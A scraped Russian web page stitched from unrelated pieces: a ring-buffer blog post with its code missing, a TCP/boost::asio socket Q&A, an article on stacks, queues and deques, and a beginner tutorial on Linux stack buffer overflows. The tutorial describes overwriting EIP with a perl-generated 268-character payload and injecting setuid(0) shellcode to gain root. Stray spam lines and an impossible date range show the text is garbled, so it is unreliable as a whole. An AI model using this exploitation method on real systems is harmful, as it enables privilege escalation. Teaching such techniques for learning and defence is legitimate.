Peek переслать буфер издалека

Содержание

CDEblog

Домашняя страница

Circuit designer engineer blog

О блоге

Контактная информация и описание деятельности. Разработка схемотехники. Трассировка печатных плат. Разработка встраиваемого программного обеспечения. Работа на заказ.

Делаем простой и универсальный кольцевой буфер.

Делаем простой кольцевой буфер

Постоянно приходится передавать и принимать данные из/в UART, SPI, I2C и др. Всё просто и понятно когда посылки идут редко и есть время на их обработку, а что же делать если посылки могут идти пачками за один раз, а потом долгое время отсутствовать и мы при обработке первой не успеваем обрабатывать остальные и они теряются или портятся. Значит нужно использовать какой-то буфер, откуда потом понемногу брать и обрабатывать данные, а что делать если мы уже заполнили буфер и нам уже некуда писать? Писать дальше начиная с первого (на самом деле с нулевого) элемента буфера, дополнительно нужно учитывать место с которого можно читать данные и место с которого можно писать. Вот мы и получаем наш кольцевой буфер.

И так, мы уже определились, что нам нужно для нашего буфера, поэтому создадим структуру и определим её поля в соответствии с их предназначением:

Теперь появляется вопрос, а каким же размером должен быть наш буфер, ведь для одной задачи может хватить 10, а для другой и 256 не хватит, мы же хотим сделать себе простой и удобный буфер на все случаи жизни? Значит нужно определять размерность как-то иначе, пожалуй выделим её с помощью malloc(size) а саму нашу структуру немного изменим.

Теперь buffer у нас стал указателем и добавилось новое поле size, пусть будет 16 разрядным, не думаю, что для простого обмена по UART может понадобиться буфер размером в 65000 байт, а если понадобиться, значит стоит задуматься, возможно что-то делаем не так.

Теперь осталось определиться с функционалом нашего буфера, а именно, что мы можем с ним делать:

  • Добавлять данные (побайтно);
  • Забирать данные.

Еще хорошо бы иметь возможность:

  • Узнать сколько у нас полезных даных;
  • Подсмотреть какой-то байт в буфере;
  • Очистить буфер;
  • Инициализировать, нужно ведь где-то обозначить размер массива *buffer

Описание функций

Пожалуй сразу сделаем прототипы наших функций:

Добавить данные.

Для добавления данных нужно сделать несколько действий. Само добавление и изменение поля idxIn, что бы значть куда писать в следующий раз, попутно исключить ситуазию выхода за границу массива (buf->idxIn >= buf->size). Код функции будет следующим:

Функция принимает два аргумента. Первый — само значние, второй указатель на переменную типа RING_buffer_t (типа нашей структуры). Второй аргумент добавлен для универсальности, очень часто, я бы сказал, что в более половины случаях необходим буфер и на приём и на передачу данных, иногда и на нескоько таких каналов приёма передачи.

Получить данные.

Объяснять лишнего не буду, смысл такой же, только данные не записываются, а читаются,и меняется другое поле idxOut. Соответственно обрабатывается выход его за границы массива.

Узнаём сколько у нас полезных данных.

Здесь на первый взгляд всё просто. Нужно из конца (место откуда пишем) вычесть начало (место откуда читаем), оно так только о одном случае, если у нас указатель на запись стоит после указателя на чтение. Если это не так, то мы получим не правильный ответ, тут логика немного сложнее, но не сильно. Предлагаю взглянуть на код и разобраться самостоятельно.

Подсматриваем байт.

Функция RING_Pop меняет указатель на место чтения, по сути удаляя прочитанный элемент, н оиногда требуется просто посмотреть значение без его удаления, тогда делаем так.

Здесь symbolNumber — это смещение относительно начала буфера (точки для чтения). Если вы внимательно читали код, то заметили что эта функция в отличии от RING_Pop имеет знаковый 32-х битный тип данных (int32_t) это сделано для того, что бы мы в последствии могли определить, а не пытаемся ли мы подсмотреть ячейку которой не существует, если да, то функция вернёт -1, в случае правильного выбора номера элемента мы получим его значение.

Очистить буфер.

Нет, мы не будем забивать весь массив нулями или чем-либо ещё, это не нужно. Достаточно просто обнулить указатели на чтение и запись.

Инициализация буфера.

Здесь мы устанавливаем значение поля size и выделяем память под массив с помощью malloc(), о чем писал в самом начале заметки. И обнуляем указатели чтения и записи.

Как этим пользоваться

Расположеный ниже код носит только ознакомитеьный характер

Шаг первый.

Необходимо определить переменную типа RING_buffer_t и инициализировать размер буфера.

Шаг второй.

Добавляем элементы в буфер, например в прерывании от UART.

Шаг третий.

Обрабатываем полученные данные, тут позволю чистателю самому придумать реализацию.

Где взять исходнии? Или нужно самому всё писать?

Конечно же лучше написать всё самостоятельно, так можно и получше разобраться и возможно найти косяки в моём коде. Особо ленивые могут заглянуть на gitlab или скачать мой пакет для keil, в котором есть этот модуль — devprodest.Lib.pack.

Ну и так, как я не считаю лень плохим качеством, по ссылкам можно получить бонус в виде вычисления CRC16 ccitt для кольцевого буфера. А для совсем уж ленивых вот оно:

UPD Со времени публикации версия на gitlab изменилась, будьте внимательны.

CDEblog

Блог инженера-схемотехника, конструктора и немного программиста

Peek переслать буфер издалека

приходят сразу все send’ы. Стартовая последовательность приходит нормально. А вот собственно строки — кучей.

Т.е. если «быстро-быстро» делать send, сообщений будет для recv будет не много, а одно, но большое.
ПОЧЕМУ.

ПС. Сервер всё отсылает правильно (на уровне моей проги).

Предположения.
Должен ли я устанавливать принудительно TCP_NODELAY?

TCP_NODELAY не помогает. Первые 2 строки идут раздельно, потом опять каша. Раньше каша была после первой.

boost::asio — peeking into a socket buffer

I use boost::asio::read (or may be the equivalent async_read) to read some data from a socket.

Is it possible that I leave the bytes read in the underlying socket so that next time I call read on the socket I receive again that data ?

2 Answers 2

Like Simon said, you can’t do it with boost::asio::read() (or boost::asio::async_read() ). However, for read() you could call native_handle() on the socket to get the socket descriptor and then use ::recvmsg() with the MSG_PEEK flag. Similarly, you could call async_read() with null_buffers() as the receive buffer and then use the native_handle() / ::recvmsg() trick to peek the data. Check out this section of the boost documentation for how to use null_buffers().

Алгоритмы и структуры данных для начинающих: стеки и очереди

В предыдущих частях мы рассматривали базовые структуры данных, которые, по сути, являлись надстройками над массивом. В этой статье мы добавим к коллекциям простые операции и посмотрим, как это повлияет на их возможности.

Стек — это коллекция, элементы которой получают по принципу «последний вошел, первый вышел» (Last-In-First-Out или LIFO). Это значит, что мы будем иметь доступ только к последнему добавленному элементу.

В отличие от списков, мы не можем получить доступ к произвольному элементу стека. Мы можем только добавлять или удалять элементы с помощью специальных методов. У стека нет также метода Contains , как у списков. Кроме того, у стека нет итератора. Для того, чтобы понимать, почему на стек накладываются такие ограничения, давайте посмотрим на то, как он работает и как используется.

Наиболее часто встречающаяся аналогия для объяснения стека — стопка тарелок. Вне зависимости от того, сколько тарелок в стопке, мы всегда можем снять верхнюю. Чистые тарелки точно так же кладутся на верх стопки, и мы всегда будем первой брать ту тарелку, которая была положена последней.

Если мы положим, например, красную тарелку, затем синюю, а затем зеленую, то сначала надо будет снять зеленую, потом синюю, и, наконец, красную. Главное, что надо запомнить — тарелки всегда ставятся и на верх стопки. Когда кто-то берет тарелку, он также снимает ее сверху. Получается, что тарелки разбираются в порядке, обратном тому, в котором ставились.

4 октября 2020 – 1 марта 2020, Москва и онлайн, беcплатно

Теперь, когда мы понимаем, как работает стек, введем несколько терминов. Операция добавления элемента на стек называется «push», удаления — «pop». Последний добавленный элемент называется верхушкой стека, или «top», и его можно посмотреть с помощью операции «peek». Давайте теперь посмотрим на заготовку класса, реализующего стек.

Класс Stack

Класс Stack определяет методы Push , Pop , Peek для доступа к элементам и поле Count . В реализации мы будем использовать LinkedList для хранения элементов.

Метод Push

  • Поведение: Добавляет элемент на вершину стека.
  • Сложность: O(1).

Поскольку мы используем связный список для хранения элементов, можно просто добавить новый в конец списка.

Метод Pop

  • Поведение: Удаляет элемент с вершины стека и возвращает его. Если стек пустой, кидает InvalidOperationException .
  • Сложность: O(1).

Push добавляет элементы в конец списка, поэтому забирать их будет также с конца. В случае, если список пуст, будет выбрасываться исключение.

Метод Peek

  • Поведение: Возвращает верхний элемент стека, но не удаляет его. Если стек пустой, кидает InvalidOperationException .
  • Сложность: O(1).

Метод Count

  • Поведение: Возвращает количество элементов в стеке.
  • Сложность: O(1).

Зачем нам знать, сколько элементов находится в стеке, если мы все равно не имеем к ним доступа? С помощью этого поля мы можем проверить, есть ли элементы на стеке или он пуст. Это очень полезно, учитывая, что метод Pop кидает исключение.

Пример: калькулятор в обратной польской записи.

Классический пример использования стека — калькулятор в обратной польской, или постфиксной, записи. В ней оператор записывается после своих операндов. То есть, мы пишем:

Другими словами, вместо «4 + 2» мы запишем «4 2 +». Если вам интересно происхождение обратной польской записи и ее названия, вы можете узнать об этом на Википедии или в поисковике.

То, как вычисляется обратная польская запись и почему стек так полезен при ее использовании, хорошо видно из следующего алгоритма:

То есть, для выражения «4 2 +» действия будут следующие:

В конце на стеке окажется одно значение — 6.

Далее приводится полный код простого калькулятора, который считывает выражение (например, 4 2 + ) из консоли, разбивает входные данные по пробелам ( [«4», «2», «+»] ) и выполняет алгоритм вычисления. Вычисление продолжается до тех пор, пока не будет встречено слово quit .

Очередь

Очереди очень похожи на стеки. Они также не дают доступа к произвольному элементу, но, в отличие от стека, элементы кладутся (enqueue) и забираются (dequeue) с разных концов. Такой метод называется «первый вошел, первый вышел» (First-In-First-Out или FIFO). То есть забирать элементы из очереди мы будем в том же порядке, что и клали. Как реальная очередь или конвейер.

Очереди часто используются в программах для реализации буфера, в который можно положить элемент для последующей обработки, сохраняя порядок поступления. Например, если база данных поддерживает только одно соединение, можно использовать очередь потоков, которые будут, как ни странно, ждать своей очереди на доступ к БД.

Класс Queue

Класс Queue , как и стек, будет реализован с помощью связного списка. Он будет предоставлять методы Enqueue для добавления элемента, Dequeue для удаления, Peek и Count . Как и класс Stack , он не будет реализовывать интерфейс ICollection , поскольку это коллекции специального назначения.

Метод Enqueue

  • Поведение: Добавляет элемент в очередь.
  • Сложность: O(1).

Новые элементы очереди можно добавлять как в начало списка, так и в конец. Важно только, чтобы элементы доставались с противоположного края. В данной реализации мы будем добавлять новые элементы в начало внутреннего списка.

Метод Dequeue

  • Поведение: Удаляет первый помещенный элемент из очереди и возвращает его. Если очередь пустая, кидает InvalidOperationException .
  • Сложность: O(1).

Поскольку мы вставляем элементы в начало списка, убирать мы их будем с конца. Если список пуст, кидается исключение.

Метод Peek

  • Поведение: Возвращает элемент, который вернет следующий вызов метода Dequeue . Очередь остается без изменений. Если очередь пустая, кидает InvalidOperationException .
  • Сложность: O(1).

Метод Count

  • Поведение: Возвращает количество элементов в очереди или 0, если очередь пустая.
  • Сложность: O(1).

Двусторонняя очередь

Двусторонняя очередь (Double-ended queue), или дек (Deque), расширяет поведение очереди. В дек можно добавлять или удалять элементы как с начала, так и с конца очереди. Такое поведение полезно во многих задачах, например, планирование выполнения потоков или реализация других структур данных. Позже мы рассмотрим вариант реализации стека с помощью двусторонней очереди.

Класс Deque

Класс Deque проще всего реализовать с помощью двусвязного списка. Он позволяет просматривать, удалять и добавлять элементы в начало и в конец списка. Основное отличие двусторонней очереди от обычной — методы Enqueue , Dequeue , и Peek разделены на пары для работы с обоими концами списка.

Метод EnqueueFirst

  • Поведение: Добавляет элемент в начало очереди. Этот элемент будет взят из очереди следующим при вызове метода DequeueFirst .
  • Сложность: O(1).

Метод EnqueueLast

  • Поведение: Добавляет элемент в конец очереди. Этот элемент будет взят из очереди следующим при вызове метода DequeueLast .
  • Сложность: O(1).

Метод DequeueFirst

  • Поведение: Удаляет элемент из начала очереди и возвращает его. Если очередь пустая, кидает InvalidOperationException .
  • Сложность: O(1).

Метод DequeueLast

  • Поведение: Удаляет элемент с конца очереди и возвращает его. Если очередь пустая, кидает InvalidOperationException .
  • Сложность: O(1).

Метод PeekFirst

  • Поведение: Возвращает элемент из начала очереди, не изменяя ее. Если очередь пустая, кидает InvalidOperationException .
  • Сложность: O(1).

Метод PeekLast

  • Поведение: Возвращает элемент с конца очереди, не изменяя ее. Если очередь пустая, кидает InvalidOperationException .
  • Сложность: O(1).

Метод Count

  • Поведение: Возвращает количество элементов в очереди или 0, если очередь пустая.
  • Сложность: O(1).

Пример: реализация стека

Двусторонняя очередь часто используется для реализации других структур данных. Давайте посмотрим на пример реализации стека с ее помощью.

У вас, возможно, возник вопрос, зачем реализовывать стек на основе очереди вместо связного списка. Причины две: производительность и повторное использование кода. У связного списка есть накладные расходы на создание узлов и нет гарантии локальности данных: элементы могут быть расположены в любом месте памяти, что вызывает большое количество промахов и падение производительности на уровне процессоров. Более производительная реализация двусторонней очереди требует массива для хранения элементов.

Илон Маск рекомендует:  Что такое код atof atol

Тем не менее, реализация стека или очереди с помощью массива — непростая задача, но такая реализация двусторонней очереди и использование ее в качестве основы для других структур данных даст нам серьезный плюс к производительности и позволит повторно использовать код. Это снижает стоимость поддержки.

Позже мы посмотрим на вариант очереди с использованием массива, но сначала давайте взглянем на класс стека с использованием двусторонней очереди:

Заметьте, что вся обработка ошибок теперь лежит на классе Deque , и, кроме того, любая оптимизация очереди также отразится на стеке. Реализация обычной очереди на основе двусторонней настолько проста, что мы оставим ее читателю в качестве упражнения.

Хранение элементов в массиве

Как уже было упомянуто, у реализации очереди с использованием массива есть свои преимущества. Она выглядит простой, но на самом деле есть ряд нюансов, которые надо учесть.

Давайте посмотрим на проблемы, которые могут возникнуть, и на их решение. Кроме того, нам понадобится информация об увеличении внутреннего массива из прошлой статьи о динамических массивах.

При создании очереди у нее внутри создается массив нулевой длины. Красные буквы «h» и «t» означают указатели _head и _tail соответственно.

Добавляем элемент в начало

Добавляем элемент в конец

Добавляем еще один элемент в начало

Обратите внимание: индекс «головы» очереди перескочил в начало списка. Теперь первый элемент, который будет возвращен при вызове метода DequeueFirst — 0 (индекс 3).

И еще один в конец

Массив заполнен, поэтому при добавлении элемента произойдет следующее:

  • Алгорим роста определит размер нового массива.
  • Элементы скопируются в новый массив с «головы» до «хвоста».
  • Добавится новый элемент.

Добавляем значение в конец расширенного массива

Теперь посмотрим, что происходит при удалении элемента:

Удаляем элемент из начала

Удаляем элемент с конца

Ключевой момент: вне зависимости от вместимости или заполненности внутреннего массива, логически, содержимое очереди — элементы от «головы» до «хвоста» с учетом «закольцованности». Такое поведение также называется «кольцевым буфером».

Теперь давайте посмотрим на реализацию.

Класс Deque (с использованием массива)

Интерфейс очереди на основе массива такой же, как и в случае реализации через связный список. Мы не будем его повторять. Однако, поскольку список был заменен на массив, у нас добавились новые поля — сам массив, его размер и указатели на «хвост» и «голову» очереди.

Алгоритм роста

Когда свободное место во внутреннем массиве заканчивается, его необходимо увеличить, скопировать элементы и обновить указатели на «хвост» и «голову». Эта операция производится при необходимости во время добавления элемента. Параметр startingIndex используется, чтобы показать, сколько полей в начале необходимо оставить пустыми (в случае добавления в начало).

Обратите внимание на то, как извлекаются данные, когда приходится переходить в начало массива при проходе от «головы» к «хвосту».

Метод EnqueueFirst

  • Поведение: Добавляет элемент в начало очереди. Этот элемент будет взят из очереди следующим при вызове метода DequeueFirst .
  • Сложность: O(1) в большинстве случаев; O(n), когда нужно расширение массива.

Метод EnqueueLast

  • Поведение: Добавляет элемент в конец очереди. Этот элемент будет взят из очереди следующим при вызове метода DequeueLast .
  • Сложность: O(1) в большинстве случаев; O(n), когда нужно расширение массива.

Метод DequeueFirst

  • Поведение: Удаляет элемент с начала очереди и возвращает его. Если очередь пустая, кидает InvalidOperationException .
  • Сложность: O(1).

Метод DequeueLast

  • Поведение: Удаляет элемент с конца очереди и возвращает его. Если очередь пустая, кидает InvalidOperationException .
  • Сложность: O(1).

Метод PeekFirst

  • Поведение: Возвращает элемент с начала очереди, не изменяя ее. Если очередь пустая, кидает InvalidOperationException .
  • Сложность: O(1).

Метод PeekLast

  • Поведение: Возвращает элемент с конца очереди, не изменяя ее. Если очередь пустая, кидает InvalidOperationException .
  • Сложность: O(1).

Метод Count

  • Поведение: Возвращает количество элементов в очереди или 0, если очередь пустая.
  • Сложность: O(1).

Продолжение следует

Вот мы и закончили четвертую часть нашего цикла статей. В ней мы рассмотрели стеки и очереди. В следующий раз мы перейдем к бинарным деревьям поиска.

Переполнение буфера для чайников

Бродя по многочисленным форумам, смотря рассылки и т.д. Я наткнулся на один очень частный вопрос. Звучит он примерно так: «Я не пойму технику переполнения буфера, объясните, пожалуйста!». В данном материале я бы хотел рассмотреть технику полностью. Весь материал будет рассчитан для ОС Linux. Я постараюсь затронуть тему локального и удаленного переполнения буфера. Постараюсь внятно объяснить все. Я думаю, этот материал будет понятен даже новичку.

Итак, пора приступить к изучению.

Переполнение буфера это, пожалуй, самая распространенная ошибка как в больших приложениях, так и в маленьких утилитах. Впервые техника переполнения буфера была предпринята в нашумевшем черве конца 80-х годов — черве Роберта Морриса. С тех пор, данная уязвимость стала такой популярной, что на данный момент число эксплоитов, которые написаны на основе данной уязвимости, перевалило уже за отметку более 2-х тысяч. Из всех уязвимостей, которые на данный момент известны миру, переполнение буфера занимает 1-ое место. Ежедневно обнаруживается огромное количество ошибок на основе переполнения буфера. Для примера, подпишитесь на рассылку новостей bugtraq, и составьте процентное соотношение обнаруженных уязвимостей. У меня вышло примерно 35-40 % уязвимостей основанных на переполнении буфера. А ведь это только публичные данные! Представьте, что находится в закрытых источниках, там примерно такое же соотношение.

Что-то я уж заговорился :) Давайте перейдем к обсуждение данной ошибки.

Скажу, что для изучения данного материала, у Вас должны быть хотя бы начальные знания языка Си под Linux. Для дальнейшей работы нам понадобятся следующие инструменты: gcc, gdb, gedit (но можно и другой редактор).

Теперь перейдем к непосредственному объяснению техники переполнения. Допустим, Вы написали утилиту, которая принимает входную строку (первый аргумент). Далее она вызывает системный вызов утилиты «ls» и ищет файл/директорию. В случае если файл/директория найдены, то программа оповещает пользователя о том, что такой файл/директория существуют в системе. Давайте посмотрим на пример такой программки.

Давайте откомпилируем программу и попытаемся запустить: Итак, программа не нашла файла/директории в текущем каталоге. Теперь попробуем создать файл в текущем каталоге.

Так, мы создали файл с помощью стандартной утилиты touch в системе Linux, и программа оповестила нас о том, что такой файл существует в системе. Вроде ничего подозрительного и нет. Никакого переполнения нет в системе. Согласен, программе ведет себя вполне стандартно. Теперь давайте попробуем ввести название файла более 267 символов. Потом объясню, почему именно более 267 символов. Итак:

Опа. Что мы видим :) Сейчас мы использовали синтаксис языка perl. Строка `perl -e ‘print «A»x268’` говорит о том, что в качестве первого аргумента будет значение «A» общей суммой символов равной 268. Т.е. программа в качестве первого аргумента получит такое: A = 268 символам. Идем далее. Программа ничего нам не вывела, а выскочило странное сообщение «Segmentation fault (core dumped)». Чтобы оно могло значить. А значит оно одно. Наша программа повела себя нестандартно и что-то там произошло. А что именно я попытаюсь сейчас объяснить. В системе Unix (как и в Win32) для хранения данных используется «стек». Именно в нем хранятся различные значения переменных (да и они сами там хранятся) в момент запуска программы. После закрытия программы все данные выгружаются из «стека». Стек можно сравнить со складом :) Конечно это довольно грубое объяснение, но все же. Так вот, в нашей программе мы используем несколько буферов. А именно буфер для хранения значения переменной «filename» и буфер переменной «cmd». Буфер «cmd» нас не интересует. А вот буфер переменной «filename» нам более интересен. А все потому, что именно данная переменная используется как имя файла/директории, истоки которого берутся из первого входного аргумента при запуске программы. Копирование строки происходит путем стандартной в языке Си функции strcpy(); Синтаксис ее таков:

Так вот строка в коде:

Говорит о том, что в переменную filename нужно копировать первый входной аргумент программы. Но взглянем выше, и мы увидим следующее: Вышеприведенная строка является объявлением переменной filename как типа char (символьного), который состоит из 255 массивов. То есть данная переменная имеет входной буфер на 255 символов. Получается, мы туда можем поместить 255 символов из входного аргумента нашей программы. Итак. Я думаю, вы уже догадались о том странном сообщении. Если нет, то оно значит то, что мы ввели более 255 символов во входной буфер, и программа вызвала ошибку т.к. размер, введенный в аргументе, превышает отведенный размер буфера переменной. Именно это и называется переполнение буфера. А теперь попробуйте сформулировать определение.

Переполнение буфера — это буфер, значение которого определяется ранее в программе и в последующий момент выходит за рамки определяемости (т.е. переполняется). Несколько запутанно и некорректно. Но каждый может для себя составить определение этому словосочетанию :) Для меня же понятнее мое определение.

Двигаемся дальше. Я думаю все линуксоиды знают очень хорошую и нужную утилиту gdb. Это утилита является встроенным отладчиком в системах Unix. gdb расшифровывается как GNU Debugger. Теперь давайте запустим нашу утилиту в этом отладчике и попробуем ввести длинное имя файла/директории.

Итак, мы ввели 1000 символов «A» в первый аргумент программы. И что мы видим? Программа приняла 1000 символов «A» и попыталась осуществить поиск. Но не тут то было :) Буфер переменной-файла равен всего 255 символов. И поэтому произошло переполнение. Строка 0x41414141 in ?? () говорит о том, что наша утилита попыталась обратится по адресу 0x41414141, но там ничего и нет :) Почему именно 0x41414141, так это потому что значение «A» в шестнадцаричном hex формате равно 41. А адрес у нас состоит из 8 символов. Поэтому последние четыре символа «A» будут адресом, к которому после переполнения обратится наша программа. Для более детального закрепления давайте рассмотрим следующий пример. Как я говорил ранее для переполнения нам нужно более 268 символов. Смотрим пример:

И что мы видим :) А видим мы следующие. Для переполнения буфера нам нужно 268 символов. Это значение, при котором буфер полностью заполняется до краев :). Т.е. в вышеприведенном примере мы записали 268 символов «A» и четыре символа «B». Получается, что буфер заполняется до краев значением «A», а далее мы указываем по какому адресу ему следует обращаться после переполнение. Мы указываем ему 4 символа «B», поэтому строка 0x42424242 in ?? () означает что после полного переполнения адрес по которому обратится функция будет указывать на адрес «B» в шестнадцаричном -hex формате. А теперь взглянем на следующий пример:

Взглянем на адрес, по которому после переполнения обращается функция. Он равен: 0x41424242. А теперь взглянем на запуск программы:

В аргументе присутствуют 268 символов «A» и адрес равный BBBA. А теперь переведите его в hex формат. У меня получилось вот что: 0x42424241, а у компьютера вот: 0x41424242. Из этого можно судить, что компьютер читает значения как арабы или китайцы. Т.е. справа налево. Ну и конечно сверху вниз. Поэтому в системе Unix (да и в Win32) стек растет сверху вниз. Получается, что самый большой адрес будет наверху, а далее стек будет убывать. Примерный вариант стека в стандартной программе таков: Т.е. в случае с нашим переполнением программа себя ведет в стеке так: Идут данные. Если все в порядке, то программа обычно завершает свою работу и выгружается из стека. В случае переполнения ДАННЫЕ превышают норму и уже АДРЕС будет указывать не на выход из функции ( в нашем случает это return в main() ), а на что-то другое ( в нашем случае это последние 4 символа в аргументе. )

Давайте взглянем на следующее. Я думаю, вы еще не закрыли gdb. Введите следующую команду. Мы видим регистры слева, а справа их значения. Помните, я Вам говорил, что для переполнения нужно ввести 268 символов, а не 255 как определено. Теперь взгляните на это: Так вот 268 символов это и есть переполнение при котором значение регистра ebp затирается на значение входного аргумента в hex формате ( в нашем случае на «A» в hex формате ).

Т.е. попробуйте ввести такое в нашу утилиту: Мы видим, что программа завершилась нормально без каких-либо ошибок и переполнений. Взглянем на значения регистров: А их и нет :) Программа завершилась нормально и выгрузилась из памяти.

А попробуйте ввести такое значение: Видно что программа завершилась с ошибкой и в качестве адреса по которому она обратится (адресом возврата) является сама функция main() из библиотеки libc. И поэтому для того чтобы указать свой адрес мы использовали 4 дополнительных символа. Они переводились в hex формат и указывали на адрес возврата. При просмотре регистров мы увидим, что регистр ebp затерся значение «A» в hex. Теперь давайте взглянем на другой регистр. Название ему EIP. eip 0x41424242 0x41424242

Мы видим, что его адрес перезаписался на тот адрес, который мы указали. Т.е. на BBBA в hex формате. Я теперь хочу немного отклониться и рассказать вам об этих самых регистрах процессора.

Вообще регистры это некое подобие строителей внутри процессора. Они как бы получают данные и складывают их в компьютере. Т.е. в случае со строителями они строят дом/гараж и т.д. Они получают данные и складывают их, а далее некая программа пытается прочесть информацию из этих регистров. Количество регистров в архитектуре процессора x86 большое. И с каждым разом все увеличивается и увеличивается. Они бывают как 16-ти разрядные, так и 32-х. Сейчас я хочу рассказать более детально об основных регистрах процесорра.

регистр EIP — это регистр содержит в себе адрес функции, на который должна перепрыгнуть программа в какое-либо действие. В нашем случае адрес eip был равен BBBA = 0x41424242. А что расположено по этому адресу? А ничего. В дальнейшем мы разберем эту тему.

регистр ESP — это регистр, с помощью которого можно бегать по стеку. Т.е. обращаться к какому либо адресу в стеке.

регистр EBP — это регистр, который дает нам возможность прямого обращения к данным, находящимся в стеке. Эти три регистра считаются основными. Понимание их значений является, по сути, основным фундаментом в понимании техники переполнения буфера. Итак, пора двигаться далее.

Думаю, вы уже наглотались теории по самые уши :) Ну ничего осталось совсем чуть-чуть. Я сейчас постараюсь максимально внятно объяснить процесс переполнения, а далее нам останется только осуществить все на практике. И мы уже будем на коне! Итак, поехали.

Процесс переполнения происходит следующим образом:

Вы определяете размер буфера и его крайний край :) (т.е. значение при котором регистр ebp затрется). Далее. Подготавливаете «мусорный буфер». Мусорный буфер — это данные, которые просто заполнят стек ненужной информацией для переполнения буфера. Далее Вы наглядно это увидите. Потом мы копируем шеллкод в буфер. О том, что такое шеллкод я Вам сейчас поведаю. Шеллкод — это некий код, переведенный в машинные инструкции. Почему именно «шеллкод», так это, потому что часто после его исполнения на компьютере предоставляется доступ к оболочке Unix (т.е. к shell-оболочке). Шеллкод может быть локальным и удаленным.

Локальный шеллкод — это код для локальных программ, которые исполняются на локальной машите. Т.е. пользователь работает за компьютером, в котором имеется уязвимая программа. После эксплуатации, которой, пользователю сразу представятся права уязвимой программы. Т.е. допустим, программа запущена с правами супер-пользователя (root), а у пользователя допустим права games (игровые). Когда пользователь (атакующий) успешно проэксплуатирует программу, у него появятся права супер-пользователя в локальной машине.

Илон Маск рекомендует:  Как завесить windows

Удаленный шеллкод — это код для удаленных демонов (программ серверов). Т.е. например Вы обнаружили уязвимость в каком либо сервере. При подключении на который, передается длинная строка, а далее сервер завершает работу с ошибкой переполнения буфера. В данном случае пользователь не имеет прав на удаленной машине. Поэтому, написав эксплоит, который бы переполнял буфер и исполнял удаленный шеллкод с правами запущенного сервера. Часто удаленные шеллкоды после исполнения открывают на удаленной машине порт, после подключения на который, предоставляется командная строка (шелл) с правами запущенного сервера.

Итак, с шеллкодом мы разобрались. Двигаемся далее. После копирования шеллкода в буфер, мы должны указать адрес нашего шеллкода, чтобы после переполнения, уязвимая программа обращалась на инструкцию заданную в шеллкоде. То бишь на инструкцию появления командной строки. Если все это представить в уме, то это примерно высветится так: Для того, чтобы узнать адрес возврата на инструкцию (шеллкод у нас) мы будем использовать отладчик gdb. Для размещения в правильном направлении нам понадобится метод «тык». :) Т.е. опять же мы узнаем «край буфера» путем перебора. В нашей утилите он равен 268 символам. Т.е. как было ранее показано наш адрес будет располагаться в радиусе 4-х символов переведенных в формат hex :). В нашем случае нам нужно разместить наш адрес по следующим параметрам: 268+4 = 268+1(269)+1(270)+1(271)+1(272). Наш адрес ляжет в радиус 268 — 272. Получается как раз 4 символа (байта) и 8 (4 символа в hex) байт в качестве указания адреса на который будет передано управление после переполнения.

Итак, думаю довольно сухомятки. Пора приступить к реалиям. Для начала давайте снова запустим нашу программу в отладчике gdb. Происходит переполнение. Вспомните регистр ESP. Давайте взглянем внутрь него: Внимание. В вашей системе может быть по-другому. Итак, что мы видим. А видим мы следующее. Слева у нас как раз те адреса возврата на данные, которые расположены справа. То бишь на данные символов «A». Из этого может следовать, что после переполнения наша уязвимая утилита обращается по одному из этих адресов, в которых имеется значение «A». На ум сразу приходит, что после того как шеллкод будет расположен, он успешно должен исполниться, после того как мы успешно засунем адрес возврата на наш код.

Итак, пора всю нашу занудную теорию перенести в практические действия. Сейчас я приведу код эксплуататора для нашей утилиты, и мы подробно разберем его. В качестве адреса я взял один из вышеприведенных адресов, значение у которого 0x41414141. Итак, давайте испробуем наш код. Работаем безупречно :) Все, что и требовалось доказать. Теперь я попытаюсь все в коде Вам разъяснить. Итак, шеллкод написан мной. Я считаю его одним из маленьких локальных шеллкодов для Linux. В нем есть функция setuid(0);. В начале мы объявляем переменные. Переменную RET, для того чтобы в ней хранить наш адрес. Далее идет переменная-индекс. Она нужна для запуска цикла добавления адреса на наш шеллкод. Следующая переменная «buf», нужна для того, чтобы полностью подготовить наш код. Вида . Переменная «p» — это указатель на наш буфер данных. Она нужна для того, чтобы посимвольно добавить адрес возврата на код. Итак, далее идет уже код. В первой строке кода мы присваиваем переменной RET адрес на наш код. Далее переменной «p» указываем на то, что она теперь стаем указателем на наш буфер. Потом мы заполняем наш буфер «мусором» для того чтобы переполнить буфер данными, а далее положить шеллкод после «мусора». Далее идет цикл for (. ). В нем мы, как уже было сказано, добавляем адрес с «краев» на 4 байта вперед для того, чтобы адрес поместился полностью. Следующая строка говорит нам о том, что бы запускаем нашу утилиту с заполненным буфером в качестве первого входного аргумента. Вот в принципе и все! :)

В данном примере я показал простейшее переполнение на основе входного параметра. Так же мне хотелось бы Вам еще показать переполнения, основанные через «Переменные окружения» и удаленные переполнения буфера.

ПЕРЕПОЛНЕНИЕ БУФЕРА ЧЕРЕЗ «ПЕРЕМЕННЫЕ ОКРУЖЕНИЯ».

Я думаю, многие знают, что такое Переменная Окружения. Если нет, то переменные окружения это некие хранилища информации :). Они используются для того, чтобы хранить какую либо информацию. Но очень часто при написании больших программ, программисты допускают ошибки переполнения буфера при передачи этих самых данных через эти самые переменные ; -). Давайте рассмотрим пример написания такой программки. Итак, выше показан пример такой программы, которая берет из переменной окружения «SOMEDATA», с помощью функции getenv(), ее значение и копирует в буфер с использованием функции sprintf(); Синтаксис ее таков:

sprintf(буфер_куда_копировать, формат_копирования, откуда_копировать_данные);

Скажу лишь то, что параметр «формат_копирования», может быть отпущен, но в этом случае возникает другая ошибка программирования. Название ей Ошибки При форматировании Строк. Но об этом читайте в других источниках.

Синтаксис функции getenv() таков:

Итак, мы рассмотрели пример уязвимой программы. Напишем пример программы, которая покажет нам, как переполняется в этом случае буфер. Но сначала откомпилируйте эту программу. Ну я думаю Вам все должно быть ясно. Единственное скажу про синтаксис функции setenv(). Он таков:

setenv(имя_переменной_окружения, значение, значение_перезаписи — 1 да, 0 — нет);

